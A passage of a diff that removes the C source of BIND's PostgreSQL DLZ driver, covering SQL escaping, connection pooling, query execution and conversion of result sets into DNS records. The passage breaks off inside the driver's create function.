-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-
-#include <isc/mem.h>
-#include <isc/platform.h>
-#include <isc/print.h>
-#include <isc/result.h>
-#include <isc/string.h>
-#include <isc/util.h>
-
-#include <dns/log.h>
-#include <dns/result.h>
-#include <dns/sdlz.h>
-
-#include <dlz/dlz_postgres_driver.h>
-#include <dlz/sdlz_helper.h>
-#include <named/globals.h>
-
-/* temporarily include time. */
-#include <libpq-fe.h>
-#include <time.h>
-
-static dns_sdlzimplementation_t *dlz_postgres = NULL;
-
-#define dbc_search_limit 30
-#define ALLNODES	 1
-#define ALLOWXFR	 2
-#define AUTHORITY	 3
-#define FINDZONE	 4
-#define LOOKUP		 5
-
-/*
- * Private methods
- */
-
-/* ---------------
- * Escaping arbitrary strings to get valid SQL strings/identifiers.
- *
- * Replaces "\\" with "\\\\" and "'" with "''".
- * length is the length of the buffer pointed to by
- * from.  The buffer at to must be at least 2*length + 1 characters
- * long.  A terminating NUL character is written.
- *
- * NOTICE!!!
- * This function was borrowed directly from PostgreSQL's libpq.
- * The function was originally called PQescapeString and renamed
- * to postgres_makesafe to avoid a naming collision.
- * PQescapeString is a new function made available in Postgres 7.2.
- * For some reason the function is not properly exported on Win32
- * builds making the function unavailable on Windows.  Also, since
- * this function is new it would require building this driver with
- * the libpq 7.2.  By borrowing this function the Windows problem
- * is solved, and the dependence on libpq 7.2 is removed.  Libpq is
- * still required of course, but an older version should work now too.
- *
- * The copyright statements from the original file containing this
- * function are included below:
- * Portions Copyright (c) 1996-2001, PostgreSQL Global Development Group
- * Portions Copyright (c) 1994, Regents of the University of California
- * ---------------
- */
-
-static size_t
-postgres_makesafe(char *to, const char *from, size_t length) {
-	const char *source = from;
-	char *target = to;
-	unsigned int remaining = length;
-
-	while (remaining > 0) {
-		switch (*source) {
-		case '\\':
-			*target = '\\';
-			target++;
-			*target = '\\';
-			/* target and remaining are updated below. */
-			break;
-
-		case '\'':
-			*target = '\'';
-			target++;
-			*target = '\'';
-			/* target and remaining are updated below. */
-			break;
-
-		default:
-			*target = *source;
-			/* target and remaining are updated below. */
-		}
-		source++;
-		target++;
-		remaining--;
-	}
-
-	/* Write the terminating NUL character. */
-	*target = '\0';
-
-	return (target - to);
-}
-
-/*%
- * Properly cleans up a list of database instances.
- * This function is only used when the driver is compiled for
- * multithreaded operation.
- */
-static void
-postgres_destroy_dblist(db_list_t *dblist) {
-	dbinstance_t *ndbi = NULL;
-	dbinstance_t *dbi = NULL;
-
-	/* get the first DBI in the list */
-	ndbi = ISC_LIST_HEAD(*dblist);
-
-	/* loop through the list */
-	while (ndbi != NULL) {
-		dbi = ndbi;
-		/* get the next DBI in the list */
-		ndbi = ISC_LIST_NEXT(dbi, link);
-		/* release DB connection */
-		if (dbi->dbconn != NULL) {
-			PQfinish((PGconn *)dbi->dbconn);
-		}
-		/* release all memory that comprised a DBI */
-		destroy_sqldbinstance(dbi);
-	}
-	/* release memory for the list structure */
-	isc_mem_put(named_g_mctx, dblist, sizeof(db_list_t));
-}
-
-/*%
- * Loops through the list of DB instances, attempting to lock
- * on the mutex.  If successful, the DBI is reserved for use
- * and the thread can perform queries against the database.
- * If the lock fails, the next one in the list is tried.
- * looping continues until a lock is obtained, or until
- * the list has been searched dbc_search_limit times.
- * This function is only used when the driver is compiled for
- * multithreaded operation.
- */
-
-static dbinstance_t *
-postgres_find_avail_conn(db_list_t *dblist) {
-	dbinstance_t *dbi = NULL;
-	dbinstance_t *head;
-	int count = 0;
-
-	/* get top of list */
-	head = dbi = ISC_LIST_HEAD(*dblist);
-
-	/* loop through list */
-	while (count < dbc_search_limit) {
-		/* try to lock on the mutex */
-		if (isc_mutex_trylock(&dbi->instance_lock) == ISC_R_SUCCESS) {
-			return (dbi); /* success, return the DBI for use. */
-		}
-		/* not successful, keep trying */
-		dbi = ISC_LIST_NEXT(dbi, link);
-
-		/* check to see if we have gone to the top of the list. */
-		if (dbi == NULL) {
-			count++;
-			dbi = head;
-		}
-	}
-	isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE, DNS_LOGMODULE_DLZ,
-		      ISC_LOG_INFO,
-		      "Postgres driver unable to find available connection "
-		      "after searching %d times",
-		      count);
-	return (NULL);
-}
-
-/*%
- * Allocates memory for a new string, and then constructs the new
- * string by "escaping" the input string.  The new string is
- * safe to be used in queries.  This is necessary because we cannot
- * be sure of what types of strings are passed to us, and we don't
- * want special characters in the string causing problems.
- */
-
-static char *
-postgres_escape_string(const char *instr) {
-	char *outstr;
-	unsigned int len;
-
-	if (instr == NULL) {
-		return (NULL);
-	}
-
-	len = strlen(instr);
-
-	outstr = isc_mem_allocate(named_g_mctx, (2 * len * sizeof(char)) + 1);
-
-	postgres_makesafe(outstr, instr, len);
-	/* PQescapeString(outstr, instr, len); */
-
-	return (outstr);
-}
-
-/*%
- * This function is the real core of the driver.   Zone, record
- * and client strings are passed in (or NULL is passed if the
- * string is not available).  The type of query we want to run
- * is indicated by the query flag, and the dbdata object is passed
- * passed in to.  dbdata really holds either:
- *		1) a list of database instances (in multithreaded mode) OR
- *		2) a single database instance (in single threaded mode)
- * The function will construct the query and obtain an available
- * database instance (DBI).  It will then run the query and hopefully
- * obtain a result set.  Postgres is nice, in that once the result
- * set is returned, we can make the db connection available for another
- * thread to use, while this thread continues on.  So, the DBI is made
- * available ASAP by unlocking the instance_lock after we have cleaned
- * it up properly.
- */
-static isc_result_t
-postgres_get_resultset(const char *zone, const char *record, const char *client,
-		       unsigned int query, void *dbdata, PGresult **rs) {
-	isc_result_t result;
-	dbinstance_t *dbi = NULL;
-	char *querystring = NULL;
-	unsigned int i = 0;
-	unsigned int j = 0;
-
-#if 0
-	/* temporarily get a unique thread # */
-	unsigned int dlz_thread_num = 1 +
-				      (int) (1000.0 * rand() /
-					     (RAND_MAX + 1.0));
-#endif /* if 0 */
-
-	REQUIRE(*rs == NULL);
-
-#if 0
-	/* temporary logging message */
-	isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-		      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-		      "%d Getting DBI", dlz_thread_num);
-#endif /* if 0 */
-
-	/* get db instance / connection */
-
-	/* find an available DBI from the list */
-	dbi = postgres_find_avail_conn((db_list_t *)dbdata);
-
-#if 0
-	/* temporary logging message */
-	isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-		      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-		      "%d Got DBI - checking query", dlz_thread_num);
-#endif /* if 0 */
-
-	/* if DBI is null, can't do anything else */
-	if (dbi == NULL) {
-		return (ISC_R_FAILURE);
-	}
-
-	/* what type of query are we going to run? */
-	switch (query) {
-	case ALLNODES:
-		/*
-		 * if the query was not passed in from the config file
-		 * then we can't run it.  return not_implemented, so
-		 * it's like the code for that operation was never
-		 * built into the driver.... AHHH flexibility!!!
-		 */
-		if (dbi->allnodes_q == NULL) {
-			result = ISC_R_NOTIMPLEMENTED;
-			goto cleanup;
-		}
-		break;
-	case ALLOWXFR:
-		/* same as comments as ALLNODES */
-		if (dbi->allowxfr_q == NULL) {
-			result = ISC_R_NOTIMPLEMENTED;
-			goto cleanup;
-		}
-		break;
-	case AUTHORITY:
-		/* same as comments as ALLNODES */
-		if (dbi->authority_q == NULL) {
-			result = ISC_R_NOTIMPLEMENTED;
-			goto cleanup;
-		}
-		break;
-	case FINDZONE:
-		/* this is required.  It's the whole point of DLZ! */
-		if (dbi->findzone_q == NULL) {
-			isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-				      DNS_LOGMODULE_DLZ, ISC_LOG_DEBUG(2),
-				      "No query specified for findzone.  "
-				      "Findzone requires a query");
-			result = ISC_R_FAILURE;
-			goto cleanup;
-		}
-		break;
-	case LOOKUP:
-		/* this is required.  It's also a major point of DLZ! */
-		if (dbi->lookup_q == NULL) {
-			isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-				      DNS_LOGMODULE_DLZ, ISC_LOG_DEBUG(2),
-				      "No query specified for lookup.  "
-				      "Lookup requires a query");
-			result = ISC_R_FAILURE;
-			goto cleanup;
-		}
-		break;
-	default:
-		/*
-		 * this should never happen.  If it does, the code is
-		 * screwed up!
-		 */
-		UNEXPECTED_ERROR(__FILE__, __LINE__,
-				 "Incorrect query flag passed to "
-				 "postgres_get_resultset");
-		result = ISC_R_UNEXPECTED;
-		goto cleanup;
-	}
-
-#if 0
-	/* temporary logging message */
-	isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-		      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-		      "%d checked query", dlz_thread_num);
-#endif /* if 0 */
-
-	/*
-	 * was a zone string passed?  If so, make it safe for use in
-	 * queries.
-	 */
-	if (zone != NULL) {
-		dbi->zone = postgres_escape_string(zone);
-		if (dbi->zone == NULL) {
-			result = ISC_R_NOMEMORY;
-			goto cleanup;
-		}
-	} else { /* no string passed, set the string pointer to NULL */
-		dbi->zone = NULL;
-	}
-
-#if 0
-	/* temporary logging message */
-	isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-		      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-		      "%d did zone", dlz_thread_num);
-#endif /* if 0 */
-
-	/*
-	 * was a record string passed?  If so, make it safe for use in
-	 * queries.
-	 */
-	if (record != NULL) {
-		dbi->record = postgres_escape_string(record);
-		if (dbi->record == NULL) {
-			result = ISC_R_NOMEMORY;
-			goto cleanup;
-		}
-	} else { /* no string passed, set the string pointer to NULL */
-		dbi->record = NULL;
-	}
-
-#if 0
-	/* temporary logging message */
-	isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-		      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-		      "%d did record", dlz_thread_num);
-#endif /* if 0 */
-
-	/*
-	 * was a client string passed?  If so, make it safe for use in
-	 * queries.
-	 */
-	if (client != NULL) {
-		dbi->client = postgres_escape_string(client);
-		if (dbi->client == NULL) {
-			result = ISC_R_NOMEMORY;
-			goto cleanup;
-		}
-	} else { /* no string passed, set the string pointer to NULL */
-		dbi->client = NULL;
-	}
-
-#if 0
-	/* temporary logging message */
-	isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-		      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-		      "%d did client", dlz_thread_num);
-#endif /* if 0 */
-
-	/*
-	 * what type of query are we going to run?
-	 * this time we build the actual query to run.
-	 */
-	switch (query) {
-	case ALLNODES:
-		querystring = build_querystring(named_g_mctx, dbi->allnodes_q);
-		break;
-	case ALLOWXFR:
-		querystring = build_querystring(named_g_mctx, dbi->allowxfr_q);
-		break;
-	case AUTHORITY:
-		querystring = build_querystring(named_g_mctx, dbi->authority_q);
-		break;
-	case FINDZONE:
-		querystring = build_querystring(named_g_mctx, dbi->findzone_q);
-		break;
-	case LOOKUP:
-		querystring = build_querystring(named_g_mctx, dbi->lookup_q);
-		break;
-	default:
-		/*
-		 * this should never happen.  If it does, the code is
-		 * screwed up!
-		 */
-		UNEXPECTED_ERROR(__FILE__, __LINE__,
-				 "Incorrect query flag passed to "
-				 "postgres_get_resultset");
-		result = ISC_R_UNEXPECTED;
-		goto cleanup;
-	}
-
-#if 0
-	/* temporary logging message */
-	isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-		      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-		      "%d built query", dlz_thread_num);
-#endif /* if 0 */
-
-	/* if the querystring is null, Bummer, outta RAM.  UPGRADE TIME!!!   */
-	if (querystring == NULL) {
-		result = ISC_R_NOMEMORY;
-		goto cleanup;
-	}
-
-#if 0
-	/* temporary logging message */
-	isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-		      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-		      "%d query is '%s'", dlz_thread_num, querystring);
-#endif /* if 0 */
-
-	/*
-	 * output the full query string during debug so we can see
-	 * what lame error the query has.
-	 */
-	isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE, DNS_LOGMODULE_DLZ,
-		      ISC_LOG_DEBUG(1), "\nQuery String: %s\n", querystring);
-
-	/* attempt query up to 3 times. */
-	for (j = 0; j < 3; j++) {
-#if 0
-		/* temporary logging message */
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-			      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-			      "%d executing query for %d time",
-			      dlz_thread_num, j);
-#endif /* if 0 */
-		/* try to get result set */
-		*rs = PQexec((PGconn *)dbi->dbconn, querystring);
-		result = ISC_R_SUCCESS;
-		/*
-		 * if result set is null, reset DB connection, max 3
-		 * attempts.
-		 */
-		for (i = 0; *rs == NULL && i < 3; i++) {
-#if 0
-			/* temporary logging message */
-			isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-				      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-				      "%d resetting connection",
-				      dlz_thread_num);
-#endif /* if 0 */
-			result = ISC_R_FAILURE;
-			PQreset((PGconn *)dbi->dbconn);
-			/* connection ok, break inner loop */
-			if (PQstatus((PGconn *)dbi->dbconn) == CONNECTION_OK) {
-				break;
-			}
-		}
-		/* result set ok, break outer loop */
-		if (PQresultStatus(*rs) == PGRES_TUPLES_OK) {
-#if 0
-			/* temporary logging message */
-			isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-				      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-				      "%d rs ok", dlz_thread_num);
-#endif /* if 0 */
-			break;
-		} else {
-			/* we got a result set object, but it's not right. */
-#if 0
-			/* temporary logging message */
-			isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-				      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-				      "%d clearing rs", dlz_thread_num);
-#endif				      /* if 0 */
-			PQclear(*rs); /* get rid of it */
-			/* in case this was the last attempt */
-			*rs = NULL;
-			result = ISC_R_FAILURE;
-		}
-	}
-
-cleanup:
-	/* it's always good to cleanup after yourself */
-
-#if 0
-	/* temporary logging message */
-	isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-		      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-		      "%d cleaning up", dlz_thread_num);
-#endif /* if 0 */
-
-	/* free dbi->zone string */
-	if (dbi->zone != NULL) {
-		isc_mem_free(named_g_mctx, dbi->zone);
-	}
-
-	/* free dbi->record string */
-	if (dbi->record != NULL) {
-		isc_mem_free(named_g_mctx, dbi->record);
-	}
-
-	/* free dbi->client string */
-	if (dbi->client != NULL) {
-		isc_mem_free(named_g_mctx, dbi->client);
-	}
-
-#if 0
-	/* temporary logging message */
-	isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-		      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-		      "%d unlocking mutex", dlz_thread_num);
-#endif /* if 0 */
-
-	/* release the lock so another thread can use this dbi */
-	isc_mutex_unlock(&dbi->instance_lock);
-
-	/* release query string */
-	if (querystring != NULL) {
-		isc_mem_free(named_g_mctx, querystring);
-	}
-
-#if 0
-	/* temporary logging message */
-	isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-		      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-		      "%d returning", dlz_thread_num);
-#endif /* if 0 */
-
-	/* return result */
-	return (result);
-}
-
-/*%
- * The processing of result sets for lookup and authority are
- * exactly the same.  So that functionality has been moved
- * into this function to minimize code.
- */
-
-static isc_result_t
-postgres_process_rs(dns_sdlzlookup_t *lookup, PGresult *rs) {
-	isc_result_t result;
-	unsigned int i;
-	unsigned int rows;
-	unsigned int fields;
-	unsigned int j;
-	unsigned int len;
-	char *tmpString;
-	char *endp;
-	int ttl;
-
-	rows = PQntuples(rs);	/* how many rows in result set */
-	fields = PQnfields(rs); /* how many columns in result set */
-	for (i = 0; i < rows; i++) {
-		switch (fields) {
-		case 1:
-			/*
-			 * one column in rs, it's the data field.  use
-			 * default type of A record, and default TTL
-			 * of 86400
-			 */
-			result = dns_sdlz_putrr(lookup, "a", 86400,
-						PQgetvalue(rs, i, 0));
-			break;
-		case 2:
-			/* two columns, data field, and data type.
-			 * use default TTL of 86400.
-			 */
-			result = dns_sdlz_putrr(lookup, PQgetvalue(rs, i, 0),
-						86400, PQgetvalue(rs, i, 1));
-			break;
-		case 3:
-			/* three columns, all data no defaults.
-			 * convert text to int, make sure it worked
-			 * right.
-			 */
-			ttl = strtol(PQgetvalue(rs, i, 0), &endp, 10);
-			if (*endp != '\0' || ttl < 0) {
-				isc_log_write(dns_lctx,
-					      DNS_LOGCATEGORY_DATABASE,
-					      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-					      "Postgres driver ttl must be "
-					      "a positive number");
-			}
-			result = dns_sdlz_putrr(lookup, PQgetvalue(rs, i, 1),
-						ttl, PQgetvalue(rs, i, 2));
-			break;
-		default:
-			/*
-			 * more than 3 fields, concatenate the last
-			 * ones together.  figure out how long to make
-			 * string
-			 */
-			for (j = 2, len = 0; j < fields; j++) {
-				len += strlen(PQgetvalue(rs, i, j)) + 1;
-			}
-			/*
-			 * allocate string memory, allow for NULL to
-			 * term string
-			 */
-			tmpString = isc_mem_allocate(named_g_mctx, len + 1);
-			/* copy field to tmpString */
-			strcpy(tmpString, PQgetvalue(rs, i, 2));
-			/*
-			 * concat the rest of fields together, space
-			 * between each one.
-			 */
-			for (j = 3; j < fields; j++) {
-				strcat(tmpString, " ");
-				strcat(tmpString, PQgetvalue(rs, i, j));
-			}
-			/* convert text to int, make sure it worked right */
-			ttl = strtol(PQgetvalue(rs, i, 0), &endp, 10);
-			if (*endp != '\0' || ttl < 0) {
-				isc_log_write(dns_lctx,
-					      DNS_LOGCATEGORY_DATABASE,
-					      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-					      "Postgres driver ttl must be "
-					      "a positive number");
-			}
-			/* ok, now tell Bind about it. */
-			result = dns_sdlz_putrr(lookup, PQgetvalue(rs, i, 1),
-						ttl, tmpString);
-			/* done, get rid of this thing. */
-			isc_mem_free(named_g_mctx, tmpString);
-		}
-		/* I sure hope we were successful */
-		if (result != ISC_R_SUCCESS) {
-			/* nope, get rid of the Result set, and log a msg */
-			PQclear(rs);
-			isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-				      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-				      "dns_sdlz_putrr returned error. "
-				      "Error code was: %s",
-				      isc_result_totext(result));
-			return (ISC_R_FAILURE);
-		}
-	}
-
-	/* free result set memory */
-	PQclear(rs);
-
-	/* if we did return results, we are successful */
-	if (rows > 0) {
-		return (ISC_R_SUCCESS);
-	}
-
-	/* empty result set, no data found */
-	return (ISC_R_NOTFOUND);
-}
-
-/*
- * SDLZ interface methods
- */
-
-/*% determine if the zone is supported by (in) the database */
-
-static isc_result_t
-postgres_findzone(void *driverarg, void *dbdata, const char *name,
-		  dns_clientinfomethods_t *methods,
-		  dns_clientinfo_t *clientinfo) {
-	isc_result_t result;
-	PGresult *rs = NULL;
-	unsigned int rows;
-
-	UNUSED(driverarg);
-	UNUSED(methods);
-	UNUSED(clientinfo);
-
-	/* run the query and get the result set from the database. */
-	result = postgres_get_resultset(name, NULL, NULL, FINDZONE, dbdata,
-					&rs);
-	/* if we didn't get a result set, log an err msg. */
-	if (result != ISC_R_SUCCESS) {
-		if (rs != NULL) {
-			PQclear(rs);
-		}
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-			      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-			      "Postgres driver unable to return "
-			      "result set for findzone query");
-		return (ISC_R_FAILURE);
-	}
-	/* count how many rows in result set */
-	rows = PQntuples(rs);
-	/* get rid of result set, we are done with it. */
-	PQclear(rs);
-
-	/* if we returned any rows, zone is supported. */
-	if (rows > 0) {
-		return (ISC_R_SUCCESS);
-	}
-
-	/* no rows returned, zone is not supported. */
-	return (ISC_R_NOTFOUND);
-}
-
-/*% Determine if the client is allowed to perform a zone transfer */
-static isc_result_t
-postgres_allowzonexfr(void *driverarg, void *dbdata, const char *name,
-		      const char *client) {
-	isc_result_t result;
-	PGresult *rs = NULL;
-	unsigned int rows;
-	UNUSED(driverarg);
-
-	/* first check if the zone is supported by the database. */
-	result = postgres_findzone(driverarg, dbdata, name, NULL, NULL);
-	if (result != ISC_R_SUCCESS) {
-		return (ISC_R_NOTFOUND);
-	}
-
-	/*
-	 * if we get to this point we know the zone is supported by
-	 * the database the only questions now are is the zone
-	 * transfer is allowed for this client and did the config file
-	 * have an allow zone xfr query.
-	 *
-	 * Run our query, and get a result set from the database.
-	 */
-	result = postgres_get_resultset(name, NULL, client, ALLOWXFR, dbdata,
-					&rs);
-	/* if we get "not implemented", send it along. */
-	if (result == ISC_R_NOTIMPLEMENTED) {
-		return (result);
-	}
-	/* if we didn't get a result set, log an err msg. */
-	if (result != ISC_R_SUCCESS) {
-		if (rs != NULL) {
-			PQclear(rs);
-		}
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-			      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-			      "Postgres driver unable to return "
-			      "result set for allow xfr query");
-		return (ISC_R_FAILURE);
-	}
-	/* count how many rows in result set */
-	rows = PQntuples(rs);
-	/* get rid of result set, we are done with it. */
-	PQclear(rs);
-
-	/* if we returned any rows, zone xfr is allowed. */
-	if (rows > 0) {
-		return (ISC_R_SUCCESS);
-	}
-
-	/* no rows returned, zone xfr not allowed */
-	return (ISC_R_NOPERM);
-}
-
-/*%
- * If the client is allowed to perform a zone transfer, the next order of
- * business is to get all the nodes in the zone, so bind can respond to the
- * query.
- */
-static isc_result_t
-postgres_allnodes(const char *zone, void *driverarg, void *dbdata,
-		  dns_sdlzallnodes_t *allnodes) {
-	isc_result_t result;
-	PGresult *rs = NULL;
-	unsigned int i;
-	unsigned int rows;
-	unsigned int fields;
-	unsigned int j;
-	unsigned int len;
-	char *tmpString;
-	char *endp;
-	int ttl;
-
-	UNUSED(driverarg);
-
-	/* run the query and get the result set from the database. */
-	result = postgres_get_resultset(zone, NULL, NULL, ALLNODES, dbdata,
-					&rs);
-	/* if we get "not implemented", send it along */
-	if (result == ISC_R_NOTIMPLEMENTED) {
-		return (result);
-	}
-	/* if we didn't get a result set, log an err msg. */
-	if (result != ISC_R_SUCCESS) {
-		if (rs != NULL) {
-			PQclear(rs);
-		}
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-			      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-			      "Postgres driver unable to return "
-			      "result set for all nodes query");
-		return (ISC_R_FAILURE);
-	}
-
-	rows = PQntuples(rs);	/* how many rows in result set */
-	fields = PQnfields(rs); /* how many columns in result set */
-	for (i = 0; i < rows; i++) {
-		if (fields < 4) { /* gotta have at least 4 columns */
-			isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-				      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-				      "Postgres driver too few fields "
-				      "returned by all nodes query");
-		}
-		/* convert text to int, make sure it worked right  */
-		ttl = strtol(PQgetvalue(rs, i, 0), &endp, 10);
-		if (*endp != '\0' || ttl < 0) {
-			isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-				      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-				      "Postgres driver ttl must be "
-				      "a positive number");
-		}
-		if (fields == 4) {
-			/* tell Bind about it. */
-			result = dns_sdlz_putnamedrr(allnodes,
-						     PQgetvalue(rs, i, 2),
-						     PQgetvalue(rs, i, 1), ttl,
-						     PQgetvalue(rs, i, 3));
-		} else {
-			/*
-			 * more than 4 fields, concatonat the last
-			 * ones together.  figure out how long to make
-			 * string
-			 */
-			for (j = 3, len = 0; j < fields; j++) {
-				len += strlen(PQgetvalue(rs, i, j)) + 1;
-			}
-			/* allocate memory, allow for NULL to term string */
-			tmpString = isc_mem_allocate(named_g_mctx, len + 1);
-			/* copy this field to tmpString */
-			strcpy(tmpString, PQgetvalue(rs, i, 3));
-			/* concatenate the rest, with spaces between */
-			for (j = 4; j < fields; j++) {
-				strcat(tmpString, " ");
-				strcat(tmpString, PQgetvalue(rs, i, j));
-			}
-			/* tell Bind about it. */
-			result = dns_sdlz_putnamedrr(
-				allnodes, PQgetvalue(rs, i, 2),
-				PQgetvalue(rs, i, 1), ttl, tmpString);
-			isc_mem_free(named_g_mctx, tmpString);
-		}
-		/* if we weren't successful, log err msg */
-		if (result != ISC_R_SUCCESS) {
-			PQclear(rs);
-			isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-				      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-				      "dns_sdlz_putnamedrr returned error. "
-				      "Error code was: %s",
-				      isc_result_totext(result));
-			return (ISC_R_FAILURE);
-		}
-	}
-
-	/* free result set memory */
-	PQclear(rs);
-
-	/* if we did return results, we are successful */
-	if (rows > 0) {
-		return (ISC_R_SUCCESS);
-	}
-
-	/* empty result set, no data found */
-	return (ISC_R_NOTFOUND);
-}
-
-/*%
- * if the lookup function does not return SOA or NS records for the zone,
- * use this function to get that information for Bind.
- */
-
-static isc_result_t
-postgres_authority(const char *zone, void *driverarg, void *dbdata,
-		   dns_sdlzlookup_t *lookup) {
-	isc_result_t result;
-	PGresult *rs = NULL;
-
-	UNUSED(driverarg);
-
-	/* run the query and get the result set from the database. */
-	result = postgres_get_resultset(zone, NULL, NULL, AUTHORITY, dbdata,
-					&rs);
-	/* if we get "not implemented", send it along */
-	if (result == ISC_R_NOTIMPLEMENTED) {
-		return (result);
-	}
-	/* if we didn't get a result set, log an err msg. */
-	if (result != ISC_R_SUCCESS) {
-		if (rs != NULL) {
-			PQclear(rs);
-		}
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-			      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-			      "Postgres driver unable to return "
-			      "result set for authority query");
-		return (ISC_R_FAILURE);
-	}
-	/*
-	 * lookup and authority result sets are processed in the same
-	 * manner postgres_process_rs does the job for both
-	 * functions.
-	 */
-	return (postgres_process_rs(lookup, rs));
-}
-
-/*% if zone is supported, lookup up a (or multiple) record(s) in it */
-static isc_result_t
-postgres_lookup(const char *zone, const char *name, void *driverarg,
-		void *dbdata, dns_sdlzlookup_t *lookup,
-		dns_clientinfomethods_t *methods,
-		dns_clientinfo_t *clientinfo) {
-	isc_result_t result;
-	PGresult *rs = NULL;
-
-	UNUSED(driverarg);
-	UNUSED(methods);
-	UNUSED(clientinfo);
-
-	/* run the query and get the result set from the database. */
-	result = postgres_get_resultset(zone, name, NULL, LOOKUP, dbdata, &rs);
-	/* if we didn't get a result set, log an err msg. */
-	if (result != ISC_R_SUCCESS) {
-		if (rs != NULL) {
-			PQclear(rs);
-		}
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-			      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-			      "Postgres driver unable to "
-			      "return result set for lookup query");
-		return (ISC_R_FAILURE);
-	}
-	/*
-	 * lookup and authority result sets are processed in the same
-	 * manner postgres_process_rs does the job for both functions.
-	 */
-	return (postgres_process_rs(lookup, rs));
-}
-
-/*%
- * create an instance of the driver.  Remember, only 1 copy of the driver's
- * code is ever loaded, the driver has to remember which context it's
- * operating in.  This is done via use of the dbdata argument which is
- * passed into all query functions.
- */
-static isc_result_t
-postgres_create(const char *dlzname, unsigned int argc, char *argv[],
-		void *driverarg, void **dbdata) {
-	isc_result_t result;
-	dbinstance_t *dbi = NULL;
-	unsigned int j;
-
-	/* if multi-threaded, we need a few extra variables. */
-	int dbcount;
-	db_list_t *dblist = NULL;
-	int i;
-	char *endp;
-
-	UNUSED(driverarg);
-	UNUSED(dlzname);
-
-	/* seed random # generator */
-	srand((unsigned)time(NULL));
-
-	/* if debugging, let user know we are multithreaded. */
-	isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE, DNS_LOGMODULE_DLZ,
-		      ISC_LOG_DEBUG(1),
-		      "Postgres driver running multithreaded");
-
-	/* verify we have at least 5 arg's passed to the driver */
-	if (argc < 5) {
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-			      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-			      "Postgres driver requires at least "
-			      "4 command line args.");
-		return (ISC_R_FAILURE);
-	}
-
-	/* no more than 8 arg's should be passed to the driver */
-	if (argc > 8) {
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-			      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-			      "Postgres driver cannot accept more than "
-			      "7 command line args.");
-		return (ISC_R_FAILURE);
-	}
-
-	/* multithreaded build can have multiple DB connections */
-
-	/* check how many db connections we should create */
-	dbcount = strtol(argv[1], &endp, 10);
-	if (*endp != '\0' || dbcount < 0) {
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-			      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-			      "Postgres driver database connection count "
-			      "must be positive.");
-		return (ISC_R_FAILURE);
-	}
-
-	/* allocate memory for database connection list */
-	dblist = isc_mem_get(named_g_mctx, sizeof(db_list_t));
-
-	/* initialize DB connection list */
-	ISC_LIST_INIT(*dblist);
-
-	/*
-	 * create the appropriate number of database instances (DBI)
-	 * append each new DBI to the end of the list
-	 */
-	for (i = 0; i < dbcount; i++) {
-		/* how many queries were passed in from config file? */
-		switch (argc) {
-		case 5:
-			result = build_sqldbinstance(named_g_mctx, NULL, NULL,
-						     NULL, argv[3], argv[4],
-						     NULL, &dbi);
-			break;
